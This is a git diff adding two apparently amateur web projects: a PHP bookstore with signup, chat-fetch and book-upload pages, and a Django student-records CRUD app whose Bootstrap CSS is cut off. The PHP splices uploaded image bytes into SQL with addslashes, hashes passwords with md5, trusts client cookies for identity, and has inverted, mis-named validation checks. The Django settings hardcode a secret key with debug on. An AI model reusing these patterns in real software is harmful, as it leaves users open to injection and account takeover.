@@ -0,0 +1,21 @@ +prepare('SELECT * FROM `books` WHERE `book_id`= ?'); +$query -> bind_param("i", $id); + +if($query->execute()){ + //If Query has A Result + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + + $imgdata = $row['image']; + + header("content-type: image/PNG"); + echo $imgdata; + +} + +?> \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/signin.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/signin.php new file mode 100644 index 00000000..7a5c7945 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/signin.php @@ -0,0 +1,167 @@ +()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/'; + $mailpatters = '/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/'; + + if(empty($_POST["mobilenumber"])){ + $msg = ''; + } + else if(preg_match($mailpattern, $_POST["mobilenumber"])){ + $msg = ''; + } + else if(empty($_POST["email"])){ + $msg = ''; + } + else if(preg_match($mailpattern, $_POST["email"])){ + $msg = ''; + } + else if(empty($_POST["password"])){ + $msg = ''; + } + else if(preg_match($passpattern, $_POST["password"])){ + $msg = ''; + } + else{ + + + $email = $_POST["email"]; + + $query = $link->prepare('SELECT * FROM `users` WHERE `email` = (?)'); + + $query -> bind_param("s", $email); + + + if($query->execute()){ + //If Query has A Result + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + + if($row == null){ + + + $mobileno = $_POST["mobilenumber"]; + $email = $_POST["email"]; + $password = md5($_POST["password"]); + echo $fname; + + $query = $link->prepare('INSERT INTO `users` (`email`,`mobile_number`,`password`) VALUES (?,?,?)'); + + // $query = "INSERT INTO `users` (`mobile_number`,`email`,`password`) VALUES ('$mobileno','$email','$password')" + $query->bind_param("sss",$email,$mobileno,$password); + + if($query->execute()){ + + setcookie("email", $email, time() + 60*60*24); + $msg = ''; + header("Location: index.php"); + } + else{ + $msg = ''; + } + } + else{ + $msg = ''; + + } + + } + else{ + $msg = ''; + } + + + } + $query -> close(); + $link -> close(); + } +?> + + + + + + + + + + + + + + + + + + + + + + Register + + + + + + + +

+
+ +

Welcome

+
+ +
+
+ + + +
+ +
+
+ + +
+
+ + +
+ +
+
+
+ + +
+ +
+
+ Already Have An Account?

+ +
+ +
+ + + + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/updateui.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/updateui.php new file mode 100644 index 00000000..c1ba0feb --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/updateui.php @@ -0,0 +1,30 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $reciverid = $row['user_id']; + + $query_extract_chats = $link->prepare('SELECT `sender_id`,`reciver_id`,`time`,`message` FROM `chat` WHERE `sender_id` = (?) AND `reciver_id` = (?) OR `sender_id` = (?) AND `reciver_id` = (?)'); + $query_extract_chats -> bind_param("iiii",$_COOKIE['sender_id'], $reciverid,$reciverid,$_COOKIE['sender_id']); + + + + + if($query_extract_chats->execute()){ + $res_query_extract_chats = $query_extract_chats->get_result(); + $row = mysqli_fetch_array($res_query_extract_chats); + $callback['result'] = $row; + } + else{ + $callback["result"] = "-1"; + } + echo json_encode($callback); + // } + +?> \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/upload.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/upload.php new file mode 100644 index 00000000..c8f62848 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/upload.php @@ -0,0 +1,230 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + $bookname = $_POST['bookname']; + $status = $_POST['status']; + $price = $_POST['price']; + $desc =$_POST['decs']; + $author = $_POST['author']; + $condition = $_POST['condition']; + $keywords = $_POST['keywords']; + + // $name = $_FILES['thumbnail']['name']; + // $type = $_FILES['thumbnail']['type']; + $image = addslashes(file_get_contents($_FILES['image']['tmp_name'])); + // echo $uid; + // echo $bookname; + // echo $status; + // echo $price; + // echo $desc; + // echo $author; + // echo $condition; + // echo $keywords; + // print_r($_FILES['thumbnail']); + // $image = addslashes(file_get_contents($_FILES['thumbnail']['tmp_name'])); + + $queryupload = $link->prepare('INSERT INTO `books` (`user_id`, `book_title`, `image`, `availability`, `price`, `description`, `book_author`, `book_condition`, `keywords`) VALUES (?,?,"' . $image . '",?,?,?,?,?,?)'); + + $queryupload->bind_param("isssssss",$uid,$bookname,$status,$price,$desc,$author,$condition,$keywords); + + if ($queryupload->execute()) { + header("Location: dashboard.php"); + $msg = ''; + } + else { + $msg = ''; + } + } +?> + + + + + + + + + + + + + + + + + + + + Upload Book + + + +




+
+ + + +
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+

Thumbnail:

+ Thumbnail

+ +
+
+
+ + +
+
+
+
+

Status:

+
+ +
+ +
+
+

Price in €:

+ +
+ + +
+
+
+
+
+
+ +
+
+
+ +
+
+
+
+
+

Description:

+
+ + +
+

Author:

+
+ + +
+
+
+ +
+

Conditon:

+
+ + +
+
+ + +
+ +
+
+

Keywords:

+
+ + +
+
+

+
+ + + +
+
+
+
+ +
+ +
+ + + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/README.md b/SYSTEM MANAGEMENT APPS/Student_management_system/README.md new file mode 100644 index 00000000..7b755caf --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/README.md @@ -0,0 +1,103 @@ +# Student Management System + +## Overview + +The Student Management System is a simple web application designed to manage students' information using CRUD (Create, Read, Update, Delete) functionalities. It allows users to add, view, update, and delete student records. This project is built using Python and Django framework. + +## Features + +- Add new student records +- View all student records +- Update existing student records +- Delete student records + +## Technologies Used + +- Python +- Django +- SQLite (default database for Django) +- HTML/CSS and Bootstrap for frontend + +## Installation + +### Prerequisites + +- Python 3.x installed +- Django installed (`pip install django`) + +### Steps + +1. **Clone the repository:** + + ```sh + git clone https://github.com/yourusername/Student_management_system.git + cd Student_management_system + ``` + +2. **Create a virtual environment and activate it:** + + ```sh + python -m venv venv + source venv/bin/activate # On Windows, use `venv\Scripts\activate` + ``` + +3. **Install dependencies:** + + ```sh + pip install -r requirements.txt + ``` + +4. **Run migrations:** + + ```sh + python manage.py migrate + ``` + +5. **Run the development server:** + + ```sh + python manage.py runserver + ``` + +6. **Access the application:** + + Open your web browser and go to `http://127.0.0.1:8000` + +## Usage + +### Add a New Student + +1. Click on the "Add Student" link in the navigation tab. +2. Fill out the form with the student's information. +3. Click "Submit" to save the new student record. + +### View Students + +1. Click on the "View" button link in the students row. +2. A students info will be displayed. + +### Update a Student + +1. Click on the "Edit" button link in the students row you want to update. +2. Update the student's information in the form. +3. Click "Submit" to save the changes. + +### Delete a Student + +1. Click on the "Delete" button link in the student row you want to delete. +2. Confirm the deletion when prompted. + +## Contributing +1. Fork the repository +2. Create a new branch (git checkout -b feature-branch) +3. Commit your changes (git commit -am 'Add new feature') +4. Push to the branch (git push origin feature-branch) +5. Create a new Pull Request + +## Contact +If you have any questions or suggestions, feel free to open an issue or contact the project maintainers. + + +This `README.md` file provides a clear overview of the project, how to install and run it, and how to use its features. Adjust the repository link and other details as needed for your specific project. + + diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/__init__.py b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/asgi.py b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/asgi.py new file mode 100644 index 00000000..2be91e5f --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for django_project project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_project.settings') + +application = get_asgi_application() diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/settings.py b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/settings.py new file mode 100644 index 00000000..110a9114 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/settings.py @@ -0,0 +1,124 @@ +""" +Django settings for django_project project. + +Generated by 'django-admin startproject' using Django 5.0.4. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/5.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/5.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-weeft8nl5p-wz+)(k2ye)uo2xiepnd18w6nstud@bjt*bp+a7^' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'students', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'django_project.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'django_project.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/5.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/5.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/5.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/5.0/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/5.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/urls.py b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/urls.py new file mode 100644 index 00000000..6c1a4b31 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/urls.py @@ -0,0 +1,23 @@ +""" +URL configuration for django_project project. + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/5.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + path('admin/', admin.site.urls), + path('', include('students.urls')), +] diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/wsgi.py b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/wsgi.py new file mode 100644 index 00000000..e7493da9 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/django_project/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for django_project project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_project.settings') + +application = get_wsgi_application() diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/manage.py b/SYSTEM MANAGEMENT APPS/Student_management_system/manage.py new file mode 100755 index 00000000..5ffd8de1 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'django_project.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/requirements.txt b/SYSTEM MANAGEMENT APPS/Student_management_system/requirements.txt new file mode 100644 index 00000000..3cd4051a --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/requirements.txt @@ -0,0 +1,4 @@ +asgiref==3.8.1 +Django==5.0.4 +sqlparse==0.5.0 +typing_extensions==4.11.0 diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/__init__.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/admin.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/admin.py new file mode 100644 index 00000000..1bb8d4a1 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/admin.py @@ -0,0 +1,5 @@ +from django.contrib import admin +from .models import Student + +# Register your models here. +admin.site.register(Student) diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/apps.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/apps.py new file mode 100644 index 00000000..c242c4de --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class StudentsConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'students' diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/forms.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/forms.py new file mode 100644 index 00000000..911eaeab --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/forms.py @@ -0,0 +1,23 @@ +from django import forms +from .models import Student + +class StudentForm(forms.ModelForm): + class Meta: + model = Student + fields = ['student_number', 'first_name', 'last_name', 'email', 'field_of_study', 'gpa'] + labels = { + 'student_number': 'Student Number', + 'first_name': 'First Name', + 'last_name': 'Last Name', + 'email': 'Email', + 'field_of_study': 'Field of Study', + 'gpa': 'GPA' + } + widgets = { + 'student_number': forms.NumberInput(attrs={'class': 'form-control'}), + 'first_name': forms.TextInput(attrs={'class': 'form-control'}), + 'last_name': forms.TextInput(attrs={'class': 'form-control'}), + 'email': forms.EmailInput(attrs={'class': 'form-control'}), + 'field_of_study': forms.TextInput(attrs={'class': 'form-control'}), + 'gpa': forms.NumberInput(attrs={'class': 'form-control'}), + } \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/migrations/0001_initial.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/migrations/0001_initial.py new file mode 100644 index 00000000..47deea3c --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/migrations/0001_initial.py @@ -0,0 +1,26 @@ +# Generated by Django 5.0.4 on 2024-04-15 15:16 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Student', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('student_number', models.PositiveIntegerField()), + ('first_name', models.CharField(max_length=50)), + ('last_name', models.CharField(max_length=50)), + ('email', models.EmailField(max_length=100)), + ('field_of_study', models.CharField(max_length=50)), + ('gpa', models.FloatField()), + ], + ), + ] diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/migrations/__init__.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/models.py b/SYSTEM MANAGEMENT APPS/Student_management_system/students/models.py new file mode 100644 index 00000000..d4756919 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/models.py @@ -0,0 +1,13 @@ +from django.db import models + +# Create your models here. +class Student(models.Model): + student_number = models.PositiveIntegerField() + first_name = models.CharField(max_length=50) + last_name = models.CharField(max_length=50) + email = models.EmailField(max_length=100) + field_of_study = models.CharField(max_length=50) + gpa = models.FloatField() + + def __str__(self): + return f'Student: {self.first_name} {self.last_name}' diff --git a/SYSTEM MANAGEMENT APPS/Student_management_system/students/static/css/bootstrap.min.css b/SYSTEM MANAGEMENT APPS/Student_management_system/students/static/css/bootstrap.min.css new file mode 100644 index 00000000..a5833054 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Student_management_system/students/static/css/bootstrap.min.css @@ -0,0 +1,12 @@ +@charset "UTF-8";/*! + * Bootswatch v5.3.3 (https://bootswatch.com) + * Theme: zephyr + * Copyright 2012-2024 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v5.3.3 (https://getbootstrap.com/) + * Copyright 2011-2024 The Bootstrap Authors + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */@import url(https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&display=swap);:root,[data-bs-theme=light]{--bs-blue:#3459e6;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#da292e;--bs-orange:#f8765f;--bs-yellow:#f4bd61;--bs-green:#2fb380;--bs-teal:#20c997;--bs-cyan:#287bb5;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#3459e6;--bs-secondary:#fff;--bs-success:#2fb380;--bs-info:#287bb5;--bs-warning:#f4bd61;--bs-danger:#da292e;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:52,89,230;--bs-secondary-rgb:255,255,255;--bs-success-rgb:47,179,128;--bs-info-rgb:40,123,181;--bs-warning-rgb:244,189,97;--bs-danger-rgb:218,41,46;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-primary-text-emphasis:#15245c;--bs-secondary-text-emphasis:#666666;--bs-success-text-emphasis:#134833;--bs-info-text-emphasis:#103148;--bs-warning-text-emphasis:#624c27;--bs-danger-text-emphasis:#571012;--bs-light-text-emphasis:#495057;--bs-dark-text-emphasis:#495057;--bs-primary-bg-subtle:#d6defa;--bs-secondary-bg-subtle:white;--bs-success-bg-subtle:#d5f0e6;--bs-info-bg-subtle:#d4e5f0;--bs-warning-bg-subtle:#fdf2df;--bs-danger-bg-subtle:#f8d4d5;--bs-light-bg-subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#aebdf5;--bs-secondary-border-subtle:white;--bs-success-border-subtle:#ace1cc;--bs-info-border-subtle:#a9cae1;--bs-warning-border-subtle:#fbe5c0;--bs-danger-border-subtle:#f0a9ab;--bs-light-border-subtle:#e9ecef;--bs-dark-border-subtle:#adb5bd;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-font-sans-serif:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#495057;--bs-body-color-rgb:73,80,87;--bs-body-bg:#fff;--bs-body-bg-rgb:255,255,255;--bs-emphasis-color:#000;--bs-emphasis-color-rgb:0,0,0;--bs-secondary-color:rgba(73, 80, 87, 0.75);--bs-secondary-color-rgb:73,80,87;--bs-secondary-bg:#e9ecef;--bs-secondary-bg-rgb:233,236,239;--bs-tertiary-color:rgba(73, 80, 87, 0.5);--bs-tertiary-color-rgb:73,80,87;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-heading-color:var(--bs-primary-color);--bs-link-color:#3459e6;--bs-link-color-rgb:52,89,230;--bs-link-decoration:underline;--bs-link-hover-color:#2a47b8;--bs-link-hover-color-rgb:42,71,184;--bs-code-color:#d63384;--bs-highlight-color:#495057;--bs-highlight-bg:#fdf2df;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-xxl:2rem;--bs-border-radius-2xl:var(--bs-border-radius-xxl);--bs-border-radius-pill:50rem;--bs-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-box-shadow-sm:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg:0 1px 3px 0 rgba(0, 0, 0, 0.1),0 1px 2px 0 rgba(0, 0, 0, 0.06);--bs-box-shadow-inset:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width:0.25rem;--bs-focus-ring-opacity:0.25;--bs-focus-ring-color:rgba(52, 89, 230, 0.25);--bs-form-valid-color:#2fb380;--bs-form-valid-border-color:#2fb380;--bs-form-invalid-color:#da292e;--bs-form-invalid-border-color:#da292e}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color:#dee2e6;--bs-body-color-rgb:222,226,230;--bs-body-bg:#212529;--bs-body-bg-rgb:33,37,41;--bs-emphasis-color:#fff;--bs-emphasis-color-rgb:255,255,255;--bs-secondary-color:rgba(222, 226, 230, 0.75);--bs-secondary-color-rgb:222,226,230;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(222, 226, 230, 0.5);--bs-tertiary-color-rgb:222,226,230;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#859bf0;--bs-secondary-text-emphasis:white;--bs-success-text-emphasis:#82d1b3;--bs-info-text-emphasis:#7eb0d3;--bs-warning-text-emphasis:#f8d7a0;--bs-danger-text-emphasis:#e97f82;--bs-light-text-emphasis:#f8f9fa;--bs-dark-text-emphasis:#dee2e6;--bs-primary-bg-subtle:#0a122e;--bs-secondary-bg-subtle:#333333;--bs-success-bg-subtle:#09241a;--bs-info-bg-subtle:#081924;--bs-warning-bg-subtle:#312613;--bs-danger-bg-subtle:#2c0809;--bs-light-bg-subtle:#343a40;--bs-dark-bg-subtle:#1a1d20;--bs-primary-border-subtle:#1f358a;--bs-secondary-border-subtle:#999999;--bs-success-border-subtle:#1c6b4d;--bs-info-border-subtle:#184a6d;--bs-warning-border-subtle:#92713a;--bs-danger-border-subtle:#83191c;--bs-light-border-subtle:#495057;--bs-dark-border-subtle:#343a40;--bs-heading-color:inherit;--bs-link-color:#859bf0;--bs-link-hover-color:#9daff3;--bs-link-color-rgb:133,155,240;--bs-link-hover-color-rgb:157,175,243;--bs-code-color:#e685b5;--bs-highlight-color:#dee2e6;--bs-highlight-bg:#624c27;--bs-border-color:#495057;--bs-border-color-translucent:rgba(255, 255, 255, 0.15);--bs-form-valid-color:#82d1b3;--bs-form-valid-border-color:#82d1b3;--bs-form-invalid-color:#e97f82;--bs-form-invalid-border-color:#e97f82}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color)}.h1,h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){.h1,h1{font-size:2.5rem}}.h2,h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){.h2,h2{font-size:2rem}}.h3,h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){.h3,h3{font-size:1.75rem}}.h4,h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){.h4,h4{font-size:1.5rem}}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.1875em;color:var(--bs-highlight-color);background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:.75em;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:rgba(var(--bs-link-color-rgb),var(--bs-link-opacity,1));text-decoration:underline}a:hover{--bs-link-color-rgb:var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:1rem;padding-bottom:1rem;color:var(--bs-secondary-color);text-align:left}th{font-weight:500;text-align:inherit;text-align:-webkit-match-parent}tbody,td,tfoot,th,thead,tr{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none!important}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;font-size:calc(1.275rem + .3vw);line-height:inherit}@media 